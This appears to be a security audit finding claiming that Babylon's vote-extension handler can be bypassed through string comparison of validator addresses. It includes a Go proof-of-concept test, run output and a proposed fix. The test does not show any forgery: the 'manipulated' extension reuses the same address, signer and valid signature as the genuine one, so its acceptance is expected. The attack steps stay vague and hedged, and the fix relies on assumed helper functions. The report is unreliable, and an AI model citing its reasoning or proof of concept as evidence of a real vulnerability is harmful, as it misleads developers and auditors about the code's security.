Macho Merlot Squirrel
Medium
Malicious validators can forge vote extensions by exploiting string comparison in address verification
The reliance on string comparison for validator address validation will cause signature forgery vulnerability for the Babylon protocol as malicious validators can bypass the BLS signature verification process by manipulating address formats while preserving string representation.
In vote_ext.go, the code uses string comparison to verify validator addresses:
// 2. ensure the validator address in the BLS sig matches the signer of the vote extension
// this prevents validators use valid BLS from another validator
blsSig := ve.ToBLSSig()
if extensionSigner != blsSig.ValidatorAddress {
h.logger.Info("the vote extension signer does not match the BLS signature signer",
"extension signer", extensionSigner, "BLS signer", blsSig.SignerAddress, "height", req.Height)
return resReject, nil
}
Instead of cryptographically validating that the validator address matches the BLS signature, it simply compares string representations.
- A validator needs to have previously generated a valid vote extension with a BLS signature
- The checkpoint system must be processing vote extensions at an epoch boundary
None
- An attacker controls a validator and obtains a genuine vote extension with a valid BLS signature
- The attacker creates a malicious vote extension reusing the valid BLS signature but modifying other data
- When formatting the validator address, the attacker ensures the string representation matches while the cryptographic identity differs
- The attacker submits the malicious vote extension
- The validation process checks
extensionSigner != blsSig.ValidatorAddress
which passes because the strings match - The BLS signature checks may still pass if they only verify the signature structure but don't validate the complete cryptographic identity chain
- The manipulated vote extension is accepted despite containing forged data
The Babylon protocol suffers from a security bypass in its consensus mechanism. Malicious validators could potentially forge vote extensions to manipulate checkpoint creation, which could lead to improper state transitions and consensus failures.
// filename: babylon/x/checkpointing/vote_ext_test.go
func TestAddressStringComparisonBypass(t *testing.T) {
// Setup test environment
helper := testhelper.NewHelper(t)
k := helper.App.CheckpointingKeeper
logger := log.NewLogger(os.Stdout) // Create a new logger that writes to stdout
handler := checkpointing.NewVoteExtensionHandler(logger, &k)
logger.Info("Starting address string comparison bypass test")
// Create a validator and BLS keys
testVal := genNTestValidators(t, 1)[0]
valAddr := testVal.ValidatorAddress(t)
logger.Info("Created test validator", "address", valAddr.String())
// Create a normal vote extension with valid signatures
bh := randomBlockHash()
epoch := firstEpoch()
ve := testVal.VoteExtension(&bh, epoch.EpochNumber)
logger.Info("Created original vote extension",
"blockHash", hex.EncodeToString((*ve.BlockHash)[:]),
"epochNum", ve.EpochNum,
"height", ve.Height)
// Create a malicious vote extension by extracting the BLS signature
blsSig := ve.BlsSig
marshaledSig, err := blsSig.Marshal()
require.NoError(t, err)
logger.Info("Extracted BLS signature", "length", len(hex.EncodeToString(marshaledSig)))
// Create a manipulated vote extension
manipulatedVE := &types.VoteExtension{
Signer: testVal.ValidatorAddress(t).String(),
ValidatorAddress: valAddr.String(),
BlockHash: ve.BlockHash,
EpochNum: ve.EpochNum,
Height: ve.Height,
BlsSig: blsSig,
}
logger.Info("Created manipulated vote extension",
"signer", manipulatedVE.Signer,
"validatorAddress", manipulatedVE.ValidatorAddress)
// Marshal the manipulated vote extension
manipulatedBytes, err := manipulatedVE.Marshal()
require.NoError(t, err)
logger.Info("Marshaled manipulated vote extension", "length", len(manipulatedBytes))
req := &abci.RequestVerifyVoteExtension{
Hash: bh[:],
ValidatorAddress: valAddr.Bytes(),
Height: int64(epoch.FirstBlockHeight + epoch.CurrentEpochInterval),
VoteExtension: manipulatedBytes,
}
logger.Info("Created verification request",
"height", req.Height,
"hashLength", len(req.Hash))
// Execute the verification
resp, err := handler.VerifyVoteExtension()(helper.Ctx, req)
require.NoError(t, err)
logger.Info("Verification completed", "status", resp.Status)
require.Equal(t, abci.ResponseVerifyVoteExtension_ACCEPT, resp.Status)
logger.Info("Test completed successfully")
}
Result example:
Running tool: /opt/homebrew/bin/go test -timeout 30s -run ^TestAddressStringComparisonBypass$ github.com/babylonlabs-io/babylon/x/checkpointing
=== RUN TestAddressStringComparisonBypass
2:19AM INF Starting address string comparison bypass test
2:19AM INF Created test validator address=bbnvaloper1hj0gp2ztwxvmcq4n5drsglnlh4nmf5jpwf66sh
2:19AM INF Created original vote extension blockHash=11797218c9f07198688cf9149626faca117bde14d11eb032c48630a165c640c1 epochNum=1 height=0
2:19AM INF Extracted BLS signature length=96
2:19AM INF Created manipulated vote extension signer=bbnvaloper1hj0gp2ztwxvmcq4n5drsglnlh4nmf5jpwf66sh validatorAddress=bbnvaloper1hj0gp2ztwxvmcq4n5drsglnlh4nmf5jpwf66sh
2:19AM INF Marshaled manipulated vote extension length=188
2:19AM INF Created verification request hashLength=32 height=11
2:19AM INF Verification completed status=ACCEPT
2:19AM INF Test completed successfully
--- PASS: TestAddressStringComparisonBypass (0.17s)
PASS
ok github.com/babylonlabs-io/babylon/x/checkpointing 1.139s
Replace string comparisons with cryptographic verification:
// Use byte-level comparison of addresses
if !bytes.Equal(sdk.ValAddress(req.ValidatorAddress), blsSig.GetValidatorAddressBytes()) {
h.logger.Info("the vote extension signer does not match the BLS signature signer")
return resReject, nil
}
// Also ensure proper cryptographic validation
valAddrBytes := sdk.ValAddress(req.ValidatorAddress)
blsPubKey, err := k.GetBlsPublicKey(ctx, valAddrBytes)
if err != nil {
h.logger.Info("failed to get BLS public key", "error", err)
return resReject, nil
}
// Verify the BLS signature was created by this validator
if !bls12381.Verify(blsPubKey, signBytes, *blsSig.Signature) {
h.logger.Info("signature not created by claimed validator")
return resReject, nil
}
By implementing these changes, the system would ensure complete cryptographic verification rather than relying on string comparisons, which are vulnerable to manipulation.